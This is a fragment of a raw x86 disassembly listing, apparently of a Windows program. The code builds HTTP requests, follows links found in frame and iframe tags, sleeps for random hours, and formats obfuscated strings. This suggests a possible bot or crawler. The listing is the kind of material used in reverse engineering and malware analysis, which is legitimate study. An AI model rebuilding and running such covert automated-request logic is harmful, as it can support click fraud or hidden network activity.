		lea	ecx, [ebp-1E4h]
		push	dword ptr [ebp-1B4h]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-190h]
		push	offset aHttpSDSS ; "http://%s:%d%s%s"
		push	eax
		call	sub_4197A9
		add	esp, 18h


loc_41ACA1:				; CODE XREF: .text:0041AC3Fj
					; .text:0041AC61j
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-190h]
		push	eax
		call	sub_419A8C
		push	eax
		call	sub_419C4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41AD59
		cmp	dword ptr [ebp-6Ch], 50h
		lea	ecx, [ebp-9Ch]
		jnz	short loc_41ACE8
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostS	; "Host: %s"
		push	eax
		call	sub_4197A9
		add	esp, 0Ch
		jmp	short loc_41AD02
; ---------------------------------------------------------------------------


loc_41ACE8:				; CODE XREF: .text:0041ACCDj
		push	dword ptr [ebp-6Ch]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostSD	; "Host: %s:%d"
		push	eax
		call	sub_4197A9
		add	esp, 10h


loc_41AD02:				; CODE XREF: .text:0041ACE6j
		lea	eax, [ebp-848h]
		lea	ecx, [ebp-20h]
		push	eax
		call	sub_419A8C
		push	eax
		lea	ecx, [ebp-68h]
		push	dword ptr [ebp+8]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-30h]
		push	offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif,	ima"...
		push	eax
		call	sub_4197A9
		add	esp, 18h
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-30h]
		push	eax
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_419B11
		add	esp, 0Ch
		lea	ecx, [ebp-2B4h]
		call	sub_41968F


loc_41AD59:				; CODE XREF: .text:0041ACBDj
		lea	ecx, [ebp-190h]
		call	sub_41968F
		lea	ecx, [ebp-150h]
		call	sub_41968F


loc_41AD6F:				; CODE XREF: .text:0041ABB2j
		lea	ecx, [ebp-130h]
		jmp	loc_41B027
; ---------------------------------------------------------------------------


loc_41AD7A:				; CODE XREF: .text:0041AAEEj
		push	offset aFrame	; "frame"
		lea	ecx, [ebp-0BCh]
		call	sub_419798
		test	eax, eax
		jz	short loc_41ADA6
		push	offset aIframe	; "iframe"
		lea	ecx, [ebp-0BCh]
		call	sub_419798
		test	eax, eax
		jnz	loc_41B02C


loc_41ADA6:				; CODE XREF: .text:0041AD8Cj
		push	esi
		lea	eax, [ebp-2D4h]
		push	ebx
		push	eax
		lea	ecx, [ebp-44h]
		mov	[ebp-10h], ebx
		call	sub_419A5E
		push	edi
		lea	ecx, [ebp-120h]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 27h
		call	sub_419A5E
		lea	ecx, [ebp-2D4h]
		jmp	short loc_41AE35
; ---------------------------------------------------------------------------


loc_41ADD6:				; CODE XREF: .text:0041AE50j
		push	offset byte_454A54
		lea	ecx, [ebp-120h]
		call	sub_419788
		test	eax, eax
		jz	short loc_41AE52
		inc	dword ptr [ebp-10h]
		push	esi
		push	dword ptr [ebp-10h]
		lea	eax, [ebp-314h]
		lea	ecx, [ebp-44h]
		push	eax
		call	sub_419A5E
		push	edi
		lea	ecx, [ebp-2F4h]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 2Ah
		call	sub_419A5E
		push	eax
		lea	ecx, [ebp-120h]
		mov	byte ptr [ebp-4], 2Bh
		call	sub_41970F
		lea	ecx, [ebp-2F4h]
		call	sub_41968F
		lea	ecx, [ebp-314h]


loc_41AE35:				; CODE XREF: .text:0041ADD4j
		mov	byte ptr [ebp-4], 29h
		call	sub_41968F
		lea	ecx, [ebp-120h]
		push	offset off_446E34
		call	sub_419798
		test	eax, eax
		jnz	short loc_41ADD6


loc_41AE52:				; CODE XREF: .text:0041ADE8j
		push	offset byte_454A54
		lea	ecx, [ebp-120h]
		call	sub_419788
		test	eax, eax
		jz	loc_41B021
		push	esi
		lea	eax, [ebp-334h]
		push	dword ptr [ebp-10h]
		lea	ecx, [ebp-44h]
		push	eax
		call	sub_419A5E
		push	1
		push	edi
		lea	ecx, [ebp-100h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 2Ch
		call	sub_419913
		lea	ecx, [ebp-334h]
		call	sub_41968F
		lea	ecx, [ebp-180h]
		call	sub_419617
		push	ebx
		lea	ecx, [ebp-100h]
		mov	byte ptr [ebp-4], 2Fh
		call	sub_419A82
		cmp	byte ptr [eax],	2Fh
		lea	ecx, [ebp-100h]
		jnz	short loc_41AEF3
		call	sub_419A8C
		push	eax
		lea	ecx, [ebp-1E4h]
		push	dword ptr [ebp-1B4h]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-180h]
		push	offset aHttpSDS	; "http://%s:%d%s"
		push	eax
		call	sub_4197A9
		add	esp, 14h
		jmp	short loc_41AF53
; ---------------------------------------------------------------------------


loc_41AEF3:				; CODE XREF: .text:0041AEC3j
		push	offset aHttp_0	; "http://"
		call	sub_419820
		test	eax, eax
		jz	short loc_41AF15
		lea	eax, [ebp-100h]
		lea	ecx, [ebp-180h]
		push	eax
		call	sub_41970F
		jmp	short loc_41AF53
; ---------------------------------------------------------------------------


loc_41AF15:				; CODE XREF: .text:0041AEFFj
		lea	ecx, [ebp-100h]
		call	sub_419A8C
		push	eax
		lea	ecx, [ebp-1B0h]
		call	sub_419A8C
		push	eax
		lea	ecx, [ebp-1E4h]
		push	dword ptr [ebp-1B4h]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-180h]
		push	offset aHttpSDSS ; "http://%s:%d%s%s"
		push	eax
		call	sub_4197A9
		add	esp, 18h


loc_41AF53:				; CODE XREF: .text:0041AEF1j
					; .text:0041AF13j
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-180h]
		push	eax
		call	sub_419A8C
		push	eax
		call	sub_419C4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41B00B
		cmp	dword ptr [ebp-6Ch], 50h
		lea	ecx, [ebp-9Ch]
		jnz	short loc_41AF9A
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostS	; "Host: %s"
		push	eax
		call	sub_4197A9
		add	esp, 0Ch
		jmp	short loc_41AFB4
; ---------------------------------------------------------------------------


loc_41AF9A:				; CODE XREF: .text:0041AF7Fj
		push	dword ptr [ebp-6Ch]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostSD	; "Host: %s:%d"
		push	eax
		call	sub_4197A9
		add	esp, 10h


loc_41AFB4:				; CODE XREF: .text:0041AF98j
		lea	eax, [ebp-848h]
		lea	ecx, [ebp-20h]
		push	eax
		call	sub_419A8C
		push	eax
		lea	ecx, [ebp-68h]
		push	dword ptr [ebp+8]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-30h]
		push	offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif,	ima"...
		push	eax
		call	sub_4197A9
		add	esp, 18h
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-30h]
		push	eax
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-354h]
		push	eax
		call	sub_419B11
		add	esp, 0Ch
		lea	ecx, [ebp-354h]
		call	sub_41968F


loc_41B00B:				; CODE XREF: .text:0041AF6Fj
		lea	ecx, [ebp-180h]
		call	sub_41968F
		lea	ecx, [ebp-100h]
		call	sub_41968F


loc_41B021:				; CODE XREF: .text:0041AE64j
		lea	ecx, [ebp-120h]


loc_41B027:				; CODE XREF: .text:0041A496j
					; .text:0041A839j ...
		call	sub_41968F


loc_41B02C:				; CODE XREF: .text:0041ADA0j
		lea	ecx, [ebp-0BCh]
		call	sub_41968F
		lea	ecx, [ebp-44h]
		call	sub_41968F
		lea	ecx, [ebp-0F0h]
		call	sub_41968F
		lea	ecx, [ebp-0ACh]
		mov	byte ptr [ebp-4], 3
		call	sub_41B173


loc_41B059:				; CODE XREF: .text:0041A256j
		cmp	[ebp-3B4h], ebx
		jnz	loc_41A25B
		jmp	short loc_41B076
; ---------------------------------------------------------------------------


loc_41B067:				; CODE XREF: .text:0041A279j
		lea	ecx, [ebp-0ACh]
		mov	byte ptr [ebp-4], 3
		call	sub_41B173


loc_41B076:				; CODE XREF: .text:0041B065j
		mov	eax, [ebp-3B8h]
		cmp	eax, ebx
		jnz	short loc_41B091
		push	5265C00h
		push	36EE80h
		call	sub_41E415
		pop	ecx
		pop	ecx


loc_41B091:				; CODE XREF: .text:0041B07Ej
		push	eax
		call	dword_437190	; Sleep
		inc	dword ptr [ebp-48h]
		lea	ecx, [ebp-0CCh]
		call	sub_41968F
		lea	ecx, [ebp-20h]
		call	sub_41968F
		lea	ecx, [ebp-30h]
		mov	[ebp-4], bl
		call	sub_41968F
		mov	eax, [ebp-48h]
		cmp	eax, [ebp-3C0h]
		jl	loc_41A192


loc_41B0C8:				; CODE XREF: .text:0041A182j
		cmp	[ebp-3ACh], ebx
		mov	edi, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		mov	esi, offset aSSSU ; "%s	%s -> %s:%u"
		jnz	short loc_41B108
		cmp	[ebp-3B0h], ebx
		jnz	short loc_41B110
		push	dword ptr [ebp-3C4h]
		lea	eax, [ebp-0C48h]
		push	eax
		push	offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
		push	edi
		lea	eax, [ebp-448h]
		push	esi
		push	eax
		push	dword ptr [ebp-34h]
		call	sub_41CE4A
		add	esp, 1Ch


loc_41B108:				; CODE XREF: .text:0041B0D8j
		cmp	[ebp-3B0h], ebx
		jz	short loc_41B136


loc_41B110:				; CODE XREF: .text:0041B0E0j
		push	dword ptr [ebp-3C4h]
		lea	eax, [ebp-0C48h]
		push	eax
		push	offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
		push	edi
		lea	eax, [ebp-448h]
		push	esi
		push	eax
		push	dword ptr [ebp-34h]
		call	sub_41CDD4
		add	esp, 1Ch


loc_41B136:				; CODE XREF: .text:0041B10Ej
		push	dword ptr [ebp-3C8h]
		call	sub_423623
		pop	ecx
		push	ebx
		call	dword_437174	; ExitThread

; =============== S U B	R O U T	I N E =======================================



sub_41B149	proc near		; CODE XREF: .text:0041A0CEp
					; .text:0041A261p
		mov	edx, ecx
		call	sub_419617
		lea	ecx, [edx+10h]
		call	sub_419617
		lea	ecx, [edx+20h]
		call	sub_419617
		lea	ecx, [edx+30h]
		call	sub_419617
		lea	ecx, [edx+44h]
		call	sub_419617
		mov	eax, edx
		retn
sub_41B149	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B173	proc near		; CODE XREF: .text:0041A149p
					; .text:0041B054p ...
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+44h]
		call	sub_41968F
		lea	ecx, [esi+30h]
		call	sub_41968F
		lea	ecx, [esi+20h]
		call	sub_41968F
		lea	ecx, [esi+10h]
		call	sub_41968F
		mov	ecx, esi
		pop	esi
		jmp	sub_41968F
sub_41B173	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B19E	proc near		; CODE XREF: sub_419913+132p
					; .text:00436333j
		push	esi
		mov	esi, ecx
		push	dword ptr [esi+4]
		call	sub_4290D0
		xor	eax, eax
		pop	ecx
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
sub_41B19E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B1B7	proc near		; CODE XREF: sub_419913+112p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_41B1D2
		mov	eax, [esi+8]
		sub	eax, ecx
		sar	eax, 2
		cmp	eax, edi
		ja	short loc_41B1D9


loc_41B1D2:				; CODE XREF: sub_41B1B7+Dj
		mov	ecx, esi
		call	sub_41B1F5


loc_41B1D9:				; CODE XREF: sub_41B1B7+19j
		mov	eax, [esi+4]
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_41B1B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B1E4	proc near		; CODE XREF: sub_419913+76p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	1
		push	dword ptr [ecx+8]
		call	sub_41B647
		retn	4
sub_41B1E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B1F5	proc near		; CODE XREF: sub_41B1B7+1Dp
		mov	eax, offset loc_4365E4
		call	sub_42B7CC
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_41B4ED
		mov	esi, offset aInvalidVectorT ; "invalid vector<T> subscript"
		push	esi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_41B525
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41B24F
		lea	eax, [ebp-3Ch]
		push	offset dword_438474
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_4373D4
		call	sub_42B8FA
		pop	esi
sub_41B1F5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41B24F	proc near		; CODE XREF: sub_41B1F5+3Fp
					; sub_4290DB+3Fp ...
		mov	eax, offset loc_4365F8
		call	sub_42B7CC
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_454A54
		call	sub_42B994
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_41B4ED
		push	0FFFFFFFFh
		push	0
		push	ebx
		mov	ecx, edi
		call	sub_41B420
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_4373C4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41B24F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B2AF	proc near		; DATA XREF: .text:004373A8o
					; .text:004373C8o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_41B2BB
		mov	eax, offset dword_437338

locret_41B2BB:				; CODE XREF: sub_41B2AF+5j
		retn
sub_41B2AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B2BC	proc near		; DATA XREF: .text:004373CCo

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41B332
		lea	eax, [ebp+var_1C]
		push	offset dword_4384D8
		push	eax
		call	sub_42B8FA
sub_41B2BC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41B2D9	proc near		; CODE XREF: .text:0041B319p
					; DATA XREF: .text:004384DCo
		mov	eax, offset loc_43660C
		call	sub_42B7CC
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_4373C4
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_41B4ED
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_42BA1B
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41B2D9	endp

; ---------------------------------------------------------------------------


loc_41B316:				; DATA XREF: .text:off_4373C4o
		push	esi
		mov	esi, ecx
		call	sub_41B2D9
		test	byte ptr [esp+8], 1
		jz	short loc_41B32C
		push	esi
		call	sub_4290D0
		pop	ecx


loc_41B32C:				; CODE XREF: .text:0041B323j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41B332	proc near		; CODE XREF: sub_41B2BC+Ap
					; sub_41B400+7p ...
		mov	eax, offset loc_436620
		call	sub_42B7CC
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_42B9D1
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_41B4ED
		push	0FFFFFFFFh
		push	0
		push	ebx
		mov	ecx, edi
		call	sub_41B420
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_4373C4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41B332	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B38A	proc near		; CODE XREF: sub_41B3C7+20p
					; DATA XREF: .text:00438478o
		mov	eax, offset loc_436634
		call	sub_42B7CC
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_4373C4
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_41B4ED
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_42BA1B
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41B38A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B3C7	proc near		; DATA XREF: .text:004373DCo

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41B400
		lea	eax, [ebp+var_1C]
		push	offset dword_438474
		push	eax
		call	sub_42B8FA


loc_41B3E4:				; DATA XREF: .text:off_4373D4o
		push	esi
		mov	esi, ecx
		call	sub_41B38A
		test	[esp+20h+var_18], 1
		jz	short loc_41B3FA
		push	esi
		call	sub_4290D0
		pop	ecx


loc_41B3FA:				; CODE XREF: sub_41B3C7+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B3C7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41B400	proc near		; CODE XREF: sub_41B3C7+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41B332
		mov	dword ptr [esi], offset	off_4373D4
		mov	eax, esi
		pop	esi
		retn	4
sub_41B400	endp

; ---------------------------------------------------------------------------


loc_41B418:				; CODE XREF: .text:004365DFj
					; .text:0043668Fj ...
		push	1
		call	sub_41B4ED
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B420	proc near		; CODE XREF: sub_41B24F+42p
					; sub_41B332+3Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_41B438
		call	sub_4291C3


loc_41B438:				; CODE XREF: sub_41B420+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_41B44A
		mov	esi, [ebp+arg_8]


loc_41B44A:				; CODE XREF: sub_41B420+25j
		cmp	edi, ebx
		jnz	short loc_41B468
		add	esi, ecx
		push	0FFFFFFFFh
		push	esi
		mov	ecx, edi
		call	sub_41B55A
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_41B55A
		jmp	short loc_41B4E4
; ---------------------------------------------------------------------------


loc_41B468:				; CODE XREF: sub_41B420+2Cj
		test	esi, esi
		jbe	short loc_41B4AB
		cmp	esi, eax
		jnz	short loc_41B4AB
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_41B47C
		mov	eax, offset dword_437338


loc_41B47C:				; CODE XREF: sub_41B420+55j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_41B4AB
		push	1
		mov	ecx, edi
		call	sub_41B4ED
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_41B497
		mov	eax, offset dword_437338


loc_41B497:				; CODE XREF: sub_41B420+70j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_41B4E4
; ---------------------------------------------------------------------------


loc_41B4AB:				; CODE XREF: sub_41B420+4Aj
					; sub_41B420+4Ej ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_41B5C1
		test	al, al
		jz	short loc_41B4E4
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		test	eax, eax
		jnz	short loc_41B4C8
		mov	eax, offset dword_437338


loc_41B4C8:				; CODE XREF: sub_41B420+A1j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_429420
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_41B4E4:				; CODE XREF: sub_41B420+46j
					; sub_41B420+89j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_41B420	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4ED	proc near		; CODE XREF: sub_41B1F5+19p
					; sub_41B24F+36p ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_41B515
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B515
		dec	eax
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41B50E
		cmp	cl, 0FFh
		jz	short loc_41B50E
		dec	byte ptr [eax]
		jmp	short loc_41B515
; ---------------------------------------------------------------------------


loc_41B50E:				; CODE XREF: sub_41B4ED+16j
					; sub_41B4ED+1Bj
		push	eax
		call	sub_4290D0
		pop	ecx


loc_41B515:				; CODE XREF: sub_41B4ED+8j
					; sub_41B4ED+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_41B4ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B525	proc near		; CODE XREF: sub_41B1F5+2Fp
					; sub_41B8CF+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		push	edi
		mov	esi, ecx
		call	sub_41B5C1
		test	al, al
		jz	short loc_41B553
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_429420
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_41B553:				; CODE XREF: sub_41B525+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_41B525	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B55A	proc near		; CODE XREF: sub_41B420+35p
					; sub_41B420+41p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_41B56D
		call	sub_4291C3


loc_41B56D:				; CODE XREF: sub_41B55A+Cj
		mov	ecx, edi
		call	sub_41B8CF
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_41B583
		mov	ebx, eax


loc_41B583:				; CODE XREF: sub_41B55A+25j
		test	ebx, ebx
		jbe	short loc_41B5B9
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_42BA90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_41B5C1
		test	al, al
		jz	short loc_41B5B9
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_41B5B9:				; CODE XREF: sub_41B55A+2Bj
					; sub_41B55A+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_41B55A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B5C1	proc near		; CODE XREF: sub_41B420+90p
					; sub_41B525+Bp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_41B5D3
		call	sub_4290DB


loc_41B5D3:				; CODE XREF: sub_41B5C1+Bj
		mov	eax, [esi+4]
		xor	edx, edx
		cmp	eax, edx
		jz	short loc_41B5FB
		mov	cl, [eax-1]
		cmp	cl, dl
		jz	short loc_41B5FB
		cmp	cl, 0FFh
		jz	short loc_41B5FB
		cmp	edi, edx
		mov	ecx, esi
		jnz	short loc_41B63A
		dec	byte ptr [eax-1]
		push	edx


loc_41B5F2:				; CODE XREF: sub_41B5C1+48j
		call	sub_41B4ED


loc_41B5F7:				; CODE XREF: sub_41B5C1+4Cj
					; sub_41B5C1+53j
		xor	al, al
		jmp	short loc_41B642
; ---------------------------------------------------------------------------


loc_41B5FB:				; CODE XREF: sub_41B5C1+19j
					; sub_41B5C1+20j ...
		cmp	edi, edx
		jnz	short loc_41B616
		cmp	[esp+8+arg_4], dl
		jz	short loc_41B60B
		push	1
		mov	ecx, esi
		jmp	short loc_41B5F2
; ---------------------------------------------------------------------------


loc_41B60B:				; CODE XREF: sub_41B5C1+42j
		cmp	eax, edx
		jz	short loc_41B5F7
		mov	[esi+8], edx
		mov	[eax], dl
		jmp	short loc_41B5F7
; ---------------------------------------------------------------------------


loc_41B616:				; CODE XREF: sub_41B5C1+3Cj
		cmp	[esp+8+arg_4], dl
		jz	short loc_41B633
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_41B628
		cmp	eax, edi
		jnb	short loc_41B640


loc_41B628:				; CODE XREF: sub_41B5C1+61j
		push	1
		mov	ecx, esi
		call	sub_41B4ED
		jmp	short loc_41B638
; ---------------------------------------------------------------------------


loc_41B633:				; CODE XREF: sub_41B5C1+59j
		cmp	[esi+0Ch], edi
		jnb	short loc_41B640


loc_41B638:				; CODE XREF: sub_41B5C1+70j
		mov	ecx, esi


loc_41B63A:				; CODE XREF: sub_41B5C1+2Bj
		push	edi
		call	sub_41B812


loc_41B640:				; CODE XREF: sub_41B5C1+65j
					; sub_41B5C1+75j
		mov	al, 1


loc_41B642:				; CODE XREF: sub_41B5C1+38j
		pop	edi
		pop	esi
		retn	8
sub_41B5C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B647	proc near		; CODE XREF: sub_41B1E4+9p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	ecx, [esi+8]
		mov	eax, [esi+0Ch]
		sub	eax, ecx
		sar	eax, 2
		cmp	eax, edi
		jnb	loc_41B739
		mov	edx, [esi+4]
		test	edx, edx
		jz	short loc_41B678
		mov	eax, ecx
		sub	eax, edx
		sar	eax, 2
		cmp	edi, eax
		jb	short loc_41B67A


loc_41B678:				; CODE XREF: sub_41B647+24j
		mov	eax, edi


loc_41B67A:				; CODE XREF: sub_41B647+2Fj
		test	edx, edx
		jnz	short loc_41B682
		xor	ecx, ecx
		jmp	short loc_41B687
; ---------------------------------------------------------------------------


loc_41B682:				; CODE XREF: sub_41B647+35j
		sub	ecx, edx
		sar	ecx, 2


loc_41B687:				; CODE XREF: sub_41B647+39j
		add	eax, ecx
		test	eax, eax
		mov	[ebp+var_4], eax
		jge	short loc_41B692
		xor	eax, eax


loc_41B692:				; CODE XREF: sub_41B647+47j
		shl	eax, 2
		push	eax
		call	sub_42B4D7
		mov	edx, eax
		mov	eax, [esi+4]
		pop	ecx
		mov	[ebp+arg_4], edx
		jmp	short loc_41B6B4
; ---------------------------------------------------------------------------


loc_41B6A6:				; CODE XREF: sub_41B647+70j
		test	edx, edx
		jz	short loc_41B6AE
		mov	ecx, [eax]
		mov	[edx], ecx


loc_41B6AE:				; CODE XREF: sub_41B647+61j
		add	edx, 4
		add	eax, 4


loc_41B6B4:				; CODE XREF: sub_41B647+5Dj
		cmp	eax, [ebp+arg_0]
		jnz	short loc_41B6A6
		test	edi, edi
		mov	eax, edx
		jbe	short loc_41B6D2
		mov	ecx, edi


loc_41B6C1:				; CODE XREF: sub_41B647+89j
		test	eax, eax
		jz	short loc_41B6CC
		mov	ebx, [ebp+arg_8]
		mov	ebx, [ebx]
		mov	[eax], ebx


loc_41B6CC:				; CODE XREF: sub_41B647+7Cj
		add	eax, 4
		dec	ecx
		jnz	short loc_41B6C1


loc_41B6D2:				; CODE XREF: sub_41B647+76j
		mov	eax, [esi+8]
		mov	ecx, edi
		shl	ecx, 2
		cmp	[ebp+arg_0], eax
		mov	[ebp+arg_8], eax
		lea	ebx, [ecx+edx]
		jz	short loc_41B701
		mov	eax, ebx
		sub	eax, ecx
		sub	eax, edx
		add	eax, [ebp+arg_0]


loc_41B6EE:				; CODE XREF: sub_41B647+B8j
